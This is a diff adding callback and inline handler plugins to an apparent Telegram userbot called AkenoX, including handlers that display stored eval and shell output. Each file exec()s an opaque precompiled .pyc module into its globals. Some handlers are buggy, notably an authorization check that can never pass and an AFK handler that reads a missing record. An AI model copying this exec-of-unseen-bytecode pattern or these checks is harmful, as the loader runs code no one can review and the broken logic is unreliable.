|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import config
|
| 22 |
+
|
| 23 |
+
run_code = config.loaded_cache("compiler/callback_mod.pyc")
|
| 24 |
+
exec(run_code, globals())
|
| 25 |
+
|
| 26 |
+
@RENDYDEV.callback(regex="^alert_")
|
| 27 |
+
async def _alert(client: Client, cb: CallbackQuery):
|
| 28 |
+
query = cb.data.split("_", 1)
|
| 29 |
+
|
| 30 |
+
if len(query) > 1:
|
| 31 |
+
action = query[1]
|
| 32 |
+
if action == "show":
|
| 33 |
+
await cb.answer("This is a show alert!", show_alert=True)
|
| 34 |
+
elif action == "pop":
|
| 35 |
+
await cb.answer("This is a pop alert!", show_alert=False)
|
| 36 |
+
else:
|
| 37 |
+
await cb.answer("Invalid alert action.", show_alert=False)
|
| 38 |
+
|
| 39 |
+
@RENDYDEV.callback(regex="^approvepm:")
|
| 40 |
+
@cb_wrapper
|
| 41 |
+
async def approve_callback(client, callback_query: CallbackQuery):
|
| 42 |
+
data = user_callback(callback_query, access=":")
|
| 43 |
+
user_id = int(data[1])
|
| 44 |
+
try:
|
| 45 |
+
await db_client.add_pmpermit(RENDYDEV.client_me().me.id, int(user_id))
|
| 46 |
+
await callback_query.edit_message_text("I have received you")
|
| 47 |
+
except Exception as e:
|
| 48 |
+
await callback_query.edit_message_text(f"Error: {e}")
|
| 49 |
+
|
| 50 |
+
@RENDYDEV.callback(regex="^block:")
|
| 51 |
+
async def block_cb(client, callback_query):
|
| 52 |
+
data = user_callback(callback_query, access=":")
|
| 53 |
+
user_id = data[1]
|
| 54 |
+
if not callback_query.from_user.id in RENDYDEV.devlist():
|
| 55 |
+
return await callback_query.answer("Not allowed this", True)
|
| 56 |
+
try:
|
| 57 |
+
await RENDYDEV.client_me().block_user(str(user_id))
|
| 58 |
+
await callback_query.edit_message_text(f"**Successfully Blocked**")
|
| 59 |
+
except Exception as e:
|
| 60 |
+
LOGS.info(str(e))
|
| 61 |
+
await callback_query.edit_message_text(f"<b>❌ ERROR:</b> <code>{e}</code>")
|
| 62 |
+
|
| 63 |
+
@RENDYDEV.callback(regex="^close_")
|
| 64 |
+
async def close_cb(client, callback_query):
|
| 65 |
+
data = user_callback(callback_query, access="_")
|
| 66 |
+
_, chat_id, message_id = data
|
| 67 |
+
if not callback_query.from_user.id in RENDYDEV.devlist():
|
| 68 |
+
return await callback_query.answer("Not allowed this", True)
|
| 69 |
+
try:
|
| 70 |
+
await RENDYDEV.client_me().delete_messages(
|
| 71 |
+
int(chat_id),
|
| 72 |
+
int(message_id)
|
| 73 |
+
)
|
| 74 |
+
except Exception as e:
|
| 75 |
+
LOGS.info(str(e))
|
| 76 |
+
await callback_query.edit_message_text(f"<b>❌ ERROR:</b> <code>{e}</code>")
|
| 77 |
+
|
| 78 |
+
@RENDYDEV.callback(regex="^del_")
|
| 79 |
+
async def del_cb(client, callback_query):
|
| 80 |
+
data = user_callback(callback_query, access="_")
|
| 81 |
+
_, chat_id, message_id = data
|
| 82 |
+
if not callback_query.from_user.id in [RENDYDEV.devlist(), RENDYDEV.allowed_users()]:
|
| 83 |
+
return await callback_query.answer("Not allowed this", True)
|
| 84 |
+
try:
|
| 85 |
+
await RENDYDEV.client_me().delete_messages(
|
| 86 |
+
int(chat_id),
|
| 87 |
+
int(message_id)
|
| 88 |
+
)
|
| 89 |
+
except Exception as e:
|
| 90 |
+
LOGS.info(str(e))
|
| 91 |
+
await callback_query.edit_message_text(f"<b>❌ ERROR:</b> <code>{e}</code>")
|
| 92 |
+
|
| 93 |
+
@RENDYDEV.callback(regex="^unban_")
|
| 94 |
+
@cb_wrapper
|
| 95 |
+
async def unbanned_cb(_, callback_query):
|
| 96 |
+
data = user_callback(callback_query, access="_")
|
| 97 |
+
_, chat_id, user_id = data
|
| 98 |
+
try:
|
| 99 |
+
await RENDYDEV.client_me().unban_chat_member(int(chat_id), str(user_id))
|
| 100 |
+
await callback_query.edit_message_text("<b>✅ Unbanned!")
|
| 101 |
+
except Exception as error:
|
| 102 |
+
LOGS.info(str(error))
|
| 103 |
+
await callback_query.edit_message_text(f"<b>❌ ERROR:</b> <code>{error}</code>")
|
| 104 |
+
|
| 105 |
+
|
| 106 |
+
@RENDYDEV.callback(regex="^unmute_")
|
| 107 |
+
@cb_wrapper
|
| 108 |
+
async def unmute_cb(_, callback_query: CallbackQuery):
|
| 109 |
+
data = user_callback(callback_query, access="_")
|
| 110 |
+
_, chat_id, user_id = data
|
| 111 |
+
try:
|
| 112 |
+
await RENDYDEV.client_me().restrict_chat_member(
|
| 113 |
+
int(chat_id),
|
| 114 |
+
str(user_id),
|
| 115 |
+
permissions=RENDYDEV.unmute_permissions()
|
| 116 |
+
)
|
| 117 |
+
await callback_query.edit_message_text(
|
| 118 |
+
"<b>✅ Unmuted!",
|
| 119 |
+
)
|
| 120 |
+
except Exception as error:
|
| 121 |
+
LOGS.info(str(error))
|
| 122 |
+
await callback_query.edit_message_text(f"<b>❌ ERROR:</b> <code>{error}</code>")
|
| 123 |
+
|
| 124 |
+
@RENDYDEV.callback(updates=True)
|
| 125 |
+
async def _callbacks(_, callback_query: CallbackQuery):
|
| 126 |
+
query = callback_query.data.lower()
|
| 127 |
+
user_id = RENDYDEV.client_me().me.id
|
| 128 |
+
prefix = await get_prefix(user_id)
|
| 129 |
+
new_get_text = f"**AkenoX-Inline**\n\nPrefix: {prefix}\n"
|
| 130 |
+
bot_me = await RENDYDEV.only_bot().get_me()
|
| 131 |
+
if query == "helper":
|
| 132 |
+
buttons = paginate_help(0, CMD_HELP, "helpme")
|
| 133 |
+
await assistant.edit_inline_text(
|
| 134 |
+
callback_query.inline_message_id,
|
| 135 |
+
new_get_text,
|
| 136 |
+
disable_web_page_preview=True,
|
| 137 |
+
reply_markup=InlineKeyboardMarkup(buttons),
|
| 138 |
+
)
|
| 139 |
+
elif query == "make_basic_button":
|
| 140 |
+
try:
|
| 141 |
+
bttn = paginate_help(0, CMD_HELP, "helpme")
|
| 142 |
+
await assistant.edit_inline_text(
|
| 143 |
+
callback_query.inline_message_id,
|
| 144 |
+
new_get_text,
|
| 145 |
+
disable_web_page_preview=True,
|
| 146 |
+
reply_markup=InlineKeyboardMarkup(bttn),
|
| 147 |
+
)
|
| 148 |
+
except Exception as e:
|
| 149 |
+
e = traceback.format_exc()
|
| 150 |
+
LOGS.info(e)
|
| 151 |
+
|
| 152 |
+
@RENDYDEV.callback(regex="reopen")
|
| 153 |
+
@cb_wrapper
|
| 154 |
+
async def reopen_in_cb(_, callback_query):
|
| 155 |
+
buttons = paginate_help(0, CMD_HELP, "helpme")
|
| 156 |
+
user_id = RENDYDEV.client_me().me.id
|
| 157 |
+
prefix = await get_prefix(user_id)
|
| 158 |
+
new_get_text = f"**AkenoX-Inline**\n\nPrefix: {prefix}\n"
|
| 159 |
+
await callback_query.edit_message_text(
|
| 160 |
+
new_get_text,
|
| 161 |
+
disable_web_page_preview=True,
|
| 162 |
+
reply_markup=InlineKeyboardMarkup(buttons),
|
| 163 |
+
)
|
| 164 |
+
|
| 165 |
+
@RENDYDEV.callback(regex="ub_modul_(.*)")
|
| 166 |
+
@cb_wrapper
|
| 167 |
+
async def on_plug_in_cb(_, callback_query):
|
| 168 |
+
modul_name = callback_query.matches[0].group(1)
|
| 169 |
+
username = "©️ Copyright 2020-2024"
|
| 170 |
+
commands: dict = CMD_HELP[modul_name]
|
| 171 |
+
this_command = f"──「 **Help For {str(modul_name).upper()}** 」──\n\n"
|
| 172 |
+
for x in commands:
|
| 173 |
+
this_command += f" • **Command:** `.{str(x)}`\n • **Function:** `{str(commands[x])}`\n\n"
|
| 174 |
+
this_command += "{}".format(username)
|
| 175 |
+
bttn = [
|
| 176 |
+
[InlineKeyboardButton(text="Return", callback_data="reopen")],
|
| 177 |
+
]
|
| 178 |
+
reply_pop_up_alert = (
|
| 179 |
+
this_command
|
| 180 |
+
if this_command is not None
|
| 181 |
+
else f"{modul_name} No documentation has been written for the module."
|
| 182 |
+
)
|
| 183 |
+
await callback_query.edit_message_text(
|
| 184 |
+
reply_pop_up_alert,
|
| 185 |
+
disable_web_page_preview=True,
|
| 186 |
+
reply_markup=InlineKeyboardMarkup(bttn),
|
| 187 |
+
)
|
| 188 |
+
|
| 189 |
+
@RENDYDEV.callback(regex="helpme_prev\((.+?)\)")
|
| 190 |
+
@cb_wrapper
|
| 191 |
+
async def on_plug_prev_in_cb(_, callback_query):
|
| 192 |
+
user_id = RENDYDEV.client_me().me.id
|
| 193 |
+
prefix = await get_prefix(user_id)
|
| 194 |
+
new_get_text = f"**AkenoX-Inline**\n\nPrefix: {prefix}\n"
|
| 195 |
+
current_page_number = int(callback_query.matches[0].group(1))
|
| 196 |
+
buttons = paginate_help(current_page_number - 1, CMD_HELP, "helpme")
|
| 197 |
+
await callback_query.edit_message_text(
|
| 198 |
+
new_get_text,
|
| 199 |
+
disable_web_page_preview=True,
|
| 200 |
+
reply_markup=InlineKeyboardMarkup(buttons),
|
| 201 |
+
)
|
| 202 |
+
|
| 203 |
+
@RENDYDEV.callback(regex="helpme_next\((.+?)\)")
|
| 204 |
+
@cb_wrapper
|
| 205 |
+
async def on_plug_next_in_cb(_, callback_query):
|
| 206 |
+
user_id = RENDYDEV.client_me().me.id
|
| 207 |
+
prefix = await get_prefix(user_id)
|
| 208 |
+
new_get_text = f"**AkenoX-Inline**\n\nPrefix: {prefix}\n"
|
| 209 |
+
current_page_number = int(callback_query.matches[0].group(1))
|
| 210 |
+
buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme")
|
| 211 |
+
await callback_query.edit_message_text(
|
| 212 |
+
new_get_text,
|
| 213 |
+
disable_web_page_preview=True,
|
| 214 |
+
reply_markup=InlineKeyboardMarkup(buttons),
|
| 215 |
+
)
|
AkenoX/plugins/assistant/inline.py
ADDED
|
@@ -0,0 +1,446 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import Cython
|
| 22 |
+
|
| 23 |
+
import config
|
| 24 |
+
|
| 25 |
+
run_code = config.loaded_cache("compiler/inline_mod.pyc")
|
| 26 |
+
exec(run_code, globals())
|
| 27 |
+
|
| 28 |
+
def send_video_inline(file_id, title="ahkontol", **args):
|
| 29 |
+
answers = [
|
| 30 |
+
InlineQueryResultCachedVideo(
|
| 31 |
+
video_file_id=file_id,
|
| 32 |
+
title=title,
|
| 33 |
+
**args
|
| 34 |
+
)
|
| 35 |
+
]
|
| 36 |
+
return answers
|
| 37 |
+
|
| 38 |
+
async def help_function(answers):
|
| 39 |
+
bttn = paginate_help(0, CMD_HELP, "helpme")
|
| 40 |
+
user_id = RENDYDEV.client_me().me.id
|
| 41 |
+
prefix = await get_prefix(user_id)
|
| 42 |
+
new_get_text = f"**AkenoX-Inline**\n\nPrefix: {prefix}\n"
|
| 43 |
+
answers.append(
|
| 44 |
+
InlineQueryResultPhoto(
|
| 45 |
+
photo_url="https://files.catbox.moe/2jwcuu.jpg",
|
| 46 |
+
title="Help Article!",
|
| 47 |
+
caption=new_get_text,
|
| 48 |
+
reply_markup=InlineKeyboardMarkup(bttn),
|
| 49 |
+
)
|
| 50 |
+
)
|
| 51 |
+
return answers
|
| 52 |
+
|
| 53 |
+
@RENDYDEV.inline(regex="^userauto:")
|
| 54 |
+
async def userbutton_inline(client, inline_query):
|
| 55 |
+
data = user_inline(inline_query, access=":")
|
| 56 |
+
user_id = int(data[1])
|
| 57 |
+
length_max = await db_client.get_env(f"USERAUTO2:{user_id}")
|
| 58 |
+
if length_max["media_photo"]:
|
| 59 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 60 |
+
answers = send_photo_inline(
|
| 61 |
+
file_id=length_max["file_id"],
|
| 62 |
+
caption=length_max["caption"],
|
| 63 |
+
reply_markup=deserialized_reply_markup
|
| 64 |
+
|
| 65 |
+
)
|
| 66 |
+
await client.answer_inline_query(
|
| 67 |
+
inline_query.id,
|
| 68 |
+
cache_time=5,
|
| 69 |
+
results=answers
|
| 70 |
+
)
|
| 71 |
+
elif length_max["media_video"]:
|
| 72 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 73 |
+
answers = send_video_inline(
|
| 74 |
+
file_id=length_max["file_id"],
|
| 75 |
+
caption=length_max["caption"],
|
| 76 |
+
reply_markup=deserialized_reply_markup
|
| 77 |
+
)
|
| 78 |
+
await client.answer_inline_query(
|
| 79 |
+
inline_query.id,
|
| 80 |
+
cache_time=5,
|
| 81 |
+
results=answers
|
| 82 |
+
)
|
| 83 |
+
elif length_max["is_sticker"]:
|
| 84 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 85 |
+
answers = send_sticker_inline(
|
| 86 |
+
file_id=length_max["file_id"],
|
| 87 |
+
reply_markup=deserialized_reply_markup
|
| 88 |
+
)
|
| 89 |
+
await client.answer_inline_query(
|
| 90 |
+
inline_query.id,
|
| 91 |
+
cache_time=5,
|
| 92 |
+
results=answers
|
| 93 |
+
)
|
| 94 |
+
elif length_max["is_animation"]:
|
| 95 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 96 |
+
answers = send_animation_inline(
|
| 97 |
+
file_id=length_max["file_id"],
|
| 98 |
+
caption=length_max["caption"],
|
| 99 |
+
reply_markup=deserialized_reply_markup
|
| 100 |
+
)
|
| 101 |
+
await client.answer_inline_query(
|
| 102 |
+
inline_query.id,
|
| 103 |
+
cache_time=5,
|
| 104 |
+
results=answers
|
| 105 |
+
)
|
| 106 |
+
else:
|
| 107 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 108 |
+
answers = BuilderInline.send_text_inline(
|
| 109 |
+
inline_text=length_max["input_text"],
|
| 110 |
+
reply_markup=deserialized_reply_markup
|
| 111 |
+
)
|
| 112 |
+
try:
|
| 113 |
+
await client.answer_inline_query(
|
| 114 |
+
inline_query.id,
|
| 115 |
+
cache_time=5,
|
| 116 |
+
results=answers
|
| 117 |
+
)
|
| 118 |
+
except Exception as e:
|
| 119 |
+
response_status = BuilderInline.send_text_inline(str(e))
|
| 120 |
+
await client.answer_inline_query(
|
| 121 |
+
inline_query.id,
|
| 122 |
+
results=response_status
|
| 123 |
+
)
|
| 124 |
+
|
| 125 |
+
@RENDYDEV.inline(regex="^pmblockby:")
|
| 126 |
+
async def pmblock_inline(client, inline_query):
|
| 127 |
+
data = user_inline(inline_query, access=":")
|
| 128 |
+
user_id = int(data[1])
|
| 129 |
+
length_max = await db_client.get_env(f"PM_LOG:{user_id}")
|
| 130 |
+
bttn = [
|
| 131 |
+
[
|
| 132 |
+
InlineKeyboardButton("ME DUROV", url="https://t.me/durov"),
|
| 133 |
+
],
|
| 134 |
+
]
|
| 135 |
+
answers = BuilderInline.send_text_inline(
|
| 136 |
+
inline_text=length_max.get('input_text'),
|
| 137 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 138 |
+
)
|
| 139 |
+
try:
|
| 140 |
+
await client.answer_inline_query(
|
| 141 |
+
inline_query.id,
|
| 142 |
+
results=answers,
|
| 143 |
+
cache_time=10
|
| 144 |
+
),
|
| 145 |
+
except Exception as e:
|
| 146 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 147 |
+
|
| 148 |
+
@RENDYDEV.inline(regex="^pmapprove:")
|
| 149 |
+
async def pmapprove_inline(client, inline_query):
|
| 150 |
+
data = user_inline(inline_query, access=":")
|
| 151 |
+
user_id = int(data[1])
|
| 152 |
+
length_max = await db_client.get_env(f"PM_LOG:{user_id}")
|
| 153 |
+
bttn = [
|
| 154 |
+
[
|
| 155 |
+
InlineKeyboardButton("⚠️ Approved PM", callback_data=f"approvepm:{int(length_max['user_id'])}"),
|
| 156 |
+
],
|
| 157 |
+
]
|
| 158 |
+
if length_max["media_photo"]:
|
| 159 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 160 |
+
answers = send_photo_inline(
|
| 161 |
+
file_id=length_max["file_id"],
|
| 162 |
+
caption=length_max["caption"],
|
| 163 |
+
reply_markup=deserialized_reply_markup
|
| 164 |
+
)
|
| 165 |
+
await client.answer_inline_query(
|
| 166 |
+
inline_query.id,
|
| 167 |
+
cache_time=5,
|
| 168 |
+
results=answers
|
| 169 |
+
)
|
| 170 |
+
elif length_max["is_sticker"]:
|
| 171 |
+
deserialized_reply_markup = deserialize_reply_markup(length_max["reply_markup"])
|
| 172 |
+
answers = send_sticker_inline(
|
| 173 |
+
file_id=length_max["file_id"],
|
| 174 |
+
reply_markup=deserialized_reply_markup
|
| 175 |
+
)
|
| 176 |
+
await client.answer_inline_query(
|
| 177 |
+
inline_query.id,
|
| 178 |
+
cache_time=5,
|
| 179 |
+
results=answers
|
| 180 |
+
)
|
| 181 |
+
else:
|
| 182 |
+
answers = BuilderInline.send_text_inline(
|
| 183 |
+
inline_text=length_max.get('input_text2'),
|
| 184 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 185 |
+
)
|
| 186 |
+
try:
|
| 187 |
+
await client.answer_inline_query(
|
| 188 |
+
inline_query.id,
|
| 189 |
+
results=answers,
|
| 190 |
+
cache_time=10
|
| 191 |
+
),
|
| 192 |
+
except Exception as e:
|
| 193 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 194 |
+
|
| 195 |
+
@RENDYDEV.inline(regex="^pmlog:")
|
| 196 |
+
async def pmlog_inline(client, inline_query):
|
| 197 |
+
data = user_inline(inline_query, access=":")
|
| 198 |
+
user_id = int(data[1])
|
| 199 |
+
length_max = await db_client.get_env(f"TAG_LINK:{user_id}")
|
| 200 |
+
bttn = [
|
| 201 |
+
[
|
| 202 |
+
InlineKeyboardButton("🔗 Message Link", url=length_max["message_link"]),
|
| 203 |
+
],
|
| 204 |
+
[
|
| 205 |
+
InlineKeyboardButton("🚷 Block User", callback_data=f"block:{length_max['user_id']}")
|
| 206 |
+
]
|
| 207 |
+
]
|
| 208 |
+
answers = BuilderInline.send_text_inline(
|
| 209 |
+
inline_text=length_max.get("input_text"),
|
| 210 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 211 |
+
)
|
| 212 |
+
try:
|
| 213 |
+
await client.answer_inline_query(
|
| 214 |
+
inline_query.id,
|
| 215 |
+
results=answers,
|
| 216 |
+
cache_time=10
|
| 217 |
+
),
|
| 218 |
+
except Exception as e:
|
| 219 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 220 |
+
|
| 221 |
+
@RENDYDEV.inline(regex="^eval_")
|
| 222 |
+
async def eval_inline(client, inline_query):
|
| 223 |
+
data = user_inline(inline_query, access="_")
|
| 224 |
+
user_id = int(data[1])
|
| 225 |
+
length_max = await db_client.get_env(f"EVAL:{user_id}")
|
| 226 |
+
bttn = [
|
| 227 |
+
[
|
| 228 |
+
InlineKeyboardButton("Close", callback_data=f"close_{int(length_max['chat_id'])}_{int(length_max['message_id'])}"),
|
| 229 |
+
],
|
| 230 |
+
]
|
| 231 |
+
answers = BuilderInline.send_text_inline(
|
| 232 |
+
inline_text=f"<pre>{length_max.get('input_text')}</pre>",
|
| 233 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 234 |
+
)
|
| 235 |
+
try:
|
| 236 |
+
await client.answer_inline_query(
|
| 237 |
+
inline_query.id,
|
| 238 |
+
results=answers,
|
| 239 |
+
cache_time=10
|
| 240 |
+
),
|
| 241 |
+
except Exception as e:
|
| 242 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 243 |
+
|
| 244 |
+
@RENDYDEV.inline(regex="^sh_")
|
| 245 |
+
async def shell_inline(client, inline_query):
|
| 246 |
+
data = user_inline(inline_query, access="_")
|
| 247 |
+
user_id = int(data[1])
|
| 248 |
+
|
| 249 |
+
# Fetch stored command result
|
| 250 |
+
shell_result = await db_client.get_env(f"SH:{user_id}")
|
| 251 |
+
|
| 252 |
+
if not shell_result:
|
| 253 |
+
return await client.answer_inline_query(inline_query.id, results=[], cache_time=10)
|
| 254 |
+
|
| 255 |
+
chat_id = shell_result.get('chat_id')
|
| 256 |
+
message_id = shell_result.get('message_id')
|
| 257 |
+
input_text = shell_result.get('input_text', "No output available.")
|
| 258 |
+
|
| 259 |
+
# Inline Button for closing
|
| 260 |
+
bttn = [[InlineKeyboardButton("Close", callback_data=f"close_{chat_id}_{message_id}")]]
|
| 261 |
+
|
| 262 |
+
# Generate inline response
|
| 263 |
+
answers = BuilderInline.send_text_inline(
|
| 264 |
+
inline_text=f"<pre>{input_text}</pre>",
|
| 265 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 266 |
+
)
|
| 267 |
+
|
| 268 |
+
try:
|
| 269 |
+
await client.answer_inline_query(inline_query.id, results=answers, cache_time=10)
|
| 270 |
+
except Exception as e:
|
| 271 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 272 |
+
|
| 273 |
+
|
| 274 |
+
|
| 275 |
+
|
| 276 |
+
@RENDYDEV.inline(regex="^afkgo:")
|
| 277 |
+
async def afk_inline(client, inline_query):
|
| 278 |
+
data = user_inline(inline_query, access=":")
|
| 279 |
+
user_id = int(data[1])
|
| 280 |
+
afk = await db_client.get_env(f"AFK_GO:{user_id}")
|
| 281 |
+
if not afk:
|
| 282 |
+
reason_str = "AFK OFFLINE"
|
| 283 |
+
reason = afk["reason"] or reason_str
|
| 284 |
+
end_afk_time = RENDYDEV.get_readable_time((time.time() - float(afk["afk_time"])))
|
| 285 |
+
deserialized_reply_markup = deserialize_reply_markup(afk["reply_markup"])
|
| 286 |
+
answers = BuilderInline.send_text_inline(
|
| 287 |
+
inline_text=f"{inline_query.from_user.mention}<b>Currently AFK!</b>\n└ <b>Because:</b> <code>{reason}</code>\n\n<b>Last see a long time ago:</b> <code>{end_afk_time}</code>",
|
| 288 |
+
reply_markup=deserialized_reply_markup
|
| 289 |
+
)
|
| 290 |
+
try:
|
| 291 |
+
await client.answer_inline_query(
|
| 292 |
+
inline_query.id,
|
| 293 |
+
cache_time=5,
|
| 294 |
+
results=answers
|
| 295 |
+
)
|
| 296 |
+
except Exception as e:
|
| 297 |
+
response_status = BuilderInline.send_text_inline(str(e))
|
| 298 |
+
await client.answer_inline_query(
|
| 299 |
+
inline_query.id,
|
| 300 |
+
